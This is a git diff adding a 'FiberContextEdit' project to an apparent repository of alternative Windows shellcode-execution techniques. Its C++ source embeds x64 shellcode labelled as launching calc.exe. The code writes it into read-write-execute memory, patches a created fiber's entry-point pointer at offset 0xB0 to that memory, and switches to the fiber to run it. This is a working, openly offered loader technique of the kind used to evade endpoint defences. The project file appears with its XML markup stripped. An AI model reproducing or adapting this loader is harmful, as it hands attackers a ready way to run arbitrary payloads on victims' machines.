diff --git a/AlternativeShellcodeExec.sln b/AlternativeShellcodeExec.sln
index 792921e..6b123db 100644
--- a/AlternativeShellcodeExec.sln
+++ b/AlternativeShellcodeExec.sln
@@ -49,6 +49,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SymFindFileInPath", "SymFin
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InitOnceExecuteOnce", "InitOnceExecuteOnce\InitOnceExecuteOnce.vcxproj", "{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}"
EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FiberContextEdit", "FiberContextEdit\FiberContextEdit.vcxproj", "{1E97F40F-E056-4468-94EA-15636B98B5D0}"
+EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
@@ -241,6 +243,14 @@ Global
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x64.Build.0 = Release|x64
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x86.ActiveCfg = Release|Win32
{92EE01BF-6B18-44F2-AC69-29D9D7920D6E}.Release|x86.Build.0 = Release|Win32
+ {1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x64.ActiveCfg = Debug|x64
+ {1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x64.Build.0 = Debug|x64
+ {1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x86.ActiveCfg = Debug|Win32
+ {1E97F40F-E056-4468-94EA-15636B98B5D0}.Debug|x86.Build.0 = Debug|Win32
+ {1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.ActiveCfg = Release|x64
+ {1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x64.Build.0 = Release|x64
+ {1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.ActiveCfg = Release|Win32
+ {1E97F40F-E056-4468-94EA-15636B98B5D0}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
diff --git a/FiberContextEdit/FiberContextEdit.vcxproj b/FiberContextEdit/FiberContextEdit.vcxproj
new file mode 100644
index 0000000..f670826
--- /dev/null
+++ b/FiberContextEdit/FiberContextEdit.vcxproj
@@ -0,0 +1,147 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {1e97f40f-e056-4468-94ea-15636b98b5d0}
+ FiberContextEdit
+ 10.0
+
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+ Application
+ true
+ v142
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/FiberContextEdit/FiberContextEdit.vcxproj.filters b/FiberContextEdit/FiberContextEdit.vcxproj.filters
new file mode 100644
index 0000000..3e7e62e
--- /dev/null
+++ b/FiberContextEdit/FiberContextEdit.vcxproj.filters
@@ -0,0 +1,22 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Source Files
+
+
+
\ No newline at end of file
diff --git a/FiberContextEdit/Source.cpp b/FiberContextEdit/Source.cpp
new file mode 100644
index 0000000..07b5aa2
--- /dev/null
+++ b/FiberContextEdit/Source.cpp
@@ -0,0 +1,112 @@
+// alfarom256
+#include
+#include
+
+void dummy() {
+ puts("Hello Fiber from Dummy");
+}
+
+// calc shellcode
+unsigned char op[] =
+"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
+"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
+"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
+"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
+"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
+"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
+"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
+"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
+"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
+"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
+"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
+"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
+"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
+"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
+"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
+"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
+"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
+"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
+"\x63\x2e\x65\x78\x65\x00";
+
+
+//https://github.com/reactos/reactos/blob/2e1aeb12dfd8b44b4b57d377b59ef347dfe3386e/dll/win32/kernel32/client/fiber.c
+//https://doxygen.reactos.org/dd/d83/ndk_2ketypes_8h_source.html#l00179
+
+
+// s/o to ch3rn0byl and s4r1n
+// am I doing s00p3r c001 1337 gr33tz right?
+int main() {
+
+
+ /*
+ _TEB.SameTebFlags = _TEB + 0x17ee
+ dt _TEB:
+
+ +0x17ee SameTebFlags : Uint2B
+ +0x17ee SafeThunkCall : Pos 0, 1 Bit
+ +0x17ee InDebugPrint : Pos 1, 1 Bit
+ +0x17ee HasFiberData : Pos 2, 1 Bit
+ +0x17ee SkipThreadAttach : Pos 3, 1 Bit
+ +0x17ee WerInShipAssertCode : Pos 4, 1 Bit
+ +0x17ee RanProcessInit : Pos 5, 1 Bit
+ +0x17ee ClonedThread : Pos 6, 1 Bit
+ +0x17ee SuppressDebugMsg : Pos 7, 1 Bit
+ +0x17ee DisableUserStackWalk : Pos 8, 1 Bit
+ +0x17ee RtlExceptionAttached : Pos 9, 1 Bit
+ +0x17ee InitialThread : Pos 10, 1 Bit
+ +0x17ee SessionAware : Pos 11, 1 Bit
+ +0x17ee LoadOwner : Pos 12, 1 Bit
+ +0x17ee LoaderWorker : Pos 13, 1 Bit
+ +0x17ee SkipLoaderInit : Pos 14, 1 Bit
+
+ */
+
+ //_TEB* teb = NtCurrentTeb();
+ //NT_TIB* tib = (NT_TIB*)teb;
+ //void* pTebFlags = (void*)((uintptr_t)teb + 0x17ee);
+ //char tebFlags = *(char*)pTebFlags; // it's actually a WORD but I don't care about the second byte
+ //
+ //BOOL hasFibData = (tebFlags >> 2) & 0b1; // False here, as the current thread is not yet a fiber
+ //
+ //printf("TebFlag => 0x%x\n", tebFlags);
+ //printf("Has Fiber Data : %s\n", (hasFibData ? "true" : "false"));
+ //printf("Fiber Data Ptr: %p\n", tib->FiberData);
+
+ //https://github.com/reactos/reactos/blob/2e1aeb12dfd8b44b4b57d377b59ef347dfe3386e/dll/win32/kernel32/client/fiber.c#L256
+ ConvertThreadToFiber(NULL);
+
+
+ //tebFlags = *(char*)pTebFlags;
+ //hasFibData = (tebFlags >> 2) & 0b1; // True here after call to ConvertThreadToFiber
+ //
+ //printf("TebFlag => 0x%x\n", tebFlags);
+ //printf("Has Fiber Data : %s\n", (hasFibData ? "true" : "false"));
+ //printf("Fiber Data Ptr: %p\n", tib->FiberData);
+ //
+
+ /*
+ Important to note that tib->FiberData == __readgsqword(0x20)
+ */
+
+ LPVOID lpFiber = CreateFiber(0x100, (LPFIBER_START_ROUTINE)dummy, NULL);
+ LPVOID addr = VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ RtlMoveMemory(addr, op, sizeof(op));
+ if (lpFiber == NULL) {
+ printf("GLE : %d", GetLastError());
+ exit(0);
+ }
+
+ /*
+
+ Here we are changing the Fiber Context such that the Created Fiber's entry point
+ (lpFiber + 0xb0)
+ Now points to the newly allocated Shellcode.
+
+ The fiber context resides at the created buffer returned by CreateFiber
+
+ */
+ uintptr_t* tgtFuncAddr = (uintptr_t*)((uintptr_t)lpFiber + 0xB0);
+ *tgtFuncAddr = (uintptr_t)addr;
+
+ SwitchToFiber(lpFiber);
+}
\ No newline at end of file